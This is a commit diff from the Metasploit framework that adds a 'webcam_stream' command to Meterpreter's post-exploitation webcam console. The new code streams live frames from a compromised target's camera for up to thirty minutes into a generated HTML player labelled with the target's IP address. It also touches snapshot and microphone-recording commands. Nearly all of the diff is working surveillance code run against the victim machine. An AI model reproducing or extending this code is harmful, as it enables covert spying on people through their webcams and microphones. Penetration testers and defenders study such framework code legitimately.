Land #2814, streaming webcam STDAPI add
Tod Beardsley
commit
bd2033c587
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@ -24,11 +24,13 @@ class Console::CommandDispatcher::Stdapi::Webcam
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all = {
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"webcam_list" => "List webcams",
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"webcam_snap" => "Take a snapshot from the specified webcam",
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"webcam_stream" => "Play a video stream from the specified webcam",
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"record_mic" => "Record audio from the default microphone for X seconds"
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}
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reqs = {
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"webcam_list" => [ "webcam_list" ],
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"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
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"webcam_stream" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
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"record_mic" => [ "webcam_audio_record" ],
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}
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@ -102,12 +104,15 @@ class Console::CommandDispatcher::Stdapi::Webcam
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rescue
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end
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if wc_list.length > 0
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print_status("Starting...")
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client.webcam.webcam_start(index)
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data = client.webcam.webcam_get_frame(quality)
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print_good("Got frame")
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client.webcam.webcam_stop
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print_status("Stopped")
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begin
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print_status("Starting...")
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client.webcam.webcam_start(index)
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data = client.webcam.webcam_get_frame(quality)
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print_good("Got frame")
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ensure
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client.webcam.webcam_stop
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print_status("Stopped")
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end
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if( data )
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::File.open( path, 'wb' ) do |fd|
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@ -124,6 +129,130 @@ class Console::CommandDispatcher::Stdapi::Webcam
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end
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end
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def cmd_webcam_stream(*args)
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print_status("Starting...")
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stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
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player_path = Rex::Text.rand_text_alpha(8) + ".html"
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duration = 1800
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quality = 50
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view = true
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index = 1
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wc_list = []
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webcam_snap_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help Banner" ],
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"-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
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"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
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"-q" => [ true, "The stream quality (Default: '#{quality}')" ],
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"-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
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"-t" => [ true, "The stream player path (Default: #{player_path})"],
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"-v" => [ true, "Automatically view the stream (Default: '#{view}')" ]
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)
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webcam_snap_opts.parse( args ) { | opt, idx, val |
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case opt
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when "-h"
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print_line( "Usage: webcam_stream [options]\n" )
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print_line( "Stream from the specified webcam." )
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print_line( webcam_snap_opts.usage )
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return
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when "-d"
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duration = val.to_i
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when "-i"
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index = val.to_i
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when "-q"
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quality = val.to_i
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when "-s"
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stream_path = val
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when "-t"
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player_path = val
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when "-v"
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view = false if ( val =~ /^(f|n|0)/i )
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end
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}
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print_status("Preparing player...")
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html = %Q|<html>
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<head>
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<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
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<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
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<title>Metasploit webcam_stream - #{client.sock.peerhost}</title>
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<script language="javascript">
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function updateStatus(msg) {
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var status = document.getElementById("status");
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status.innerText = msg;
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}
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function noImage() {
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document.getElementById("streamer").style = "display:none";
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updateStatus("Waiting");
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}
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var i = 0;
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function updateFrame() {
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var img = document.getElementById("streamer");
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img.src = "#{stream_path}#" + i;
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img.style = "display:";
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updateStatus("Playing");
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i++;
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}
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setInterval(function() {
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updateFrame();
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},25);
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</script>
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</head>
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<body>
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<noscript>
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<h2><font color="red">Error: You need Javascript enabled to watch the stream.</font></h2>
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</noscript>
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<pre>
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Target IP : #{client.sock.peerhost}
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Start time : #{Time.now}
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Status : <span id="status"></span>
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</pre>
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<br>
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<img onerror="noImage()" id="streamer">
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<br><br>
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<a href="http://www.metasploit.com" target="_blank">www.metasploit.com</a>
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</body>
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</html>
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::File.open(player_path, 'wb') do |f|
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f.write(html)
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end
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if view
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print_status("Opening player at: #{player_path}")
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Rex::Compat.open_file(player_path)
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else
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print_status("Please open the player manually with a browser: #{player_path}")
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end
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print_status("Streaming...")
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begin
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client.webcam.webcam_start(index)
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::Timeout.timeout(duration) {
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while client do
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data = client.webcam.webcam_get_frame(quality)
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if data
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::File.open(stream_path, 'wb') do |f|
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f.write(data)
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end
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data = nil
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end
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end
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}
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rescue ::Timeout::Error
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ensure
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client.webcam.webcam_stop
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end
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print_status("Stopped")
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end
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def cmd_record_mic(*args)
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path = Rex::Text.rand_text_alpha(8) + ".wav"
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play = true
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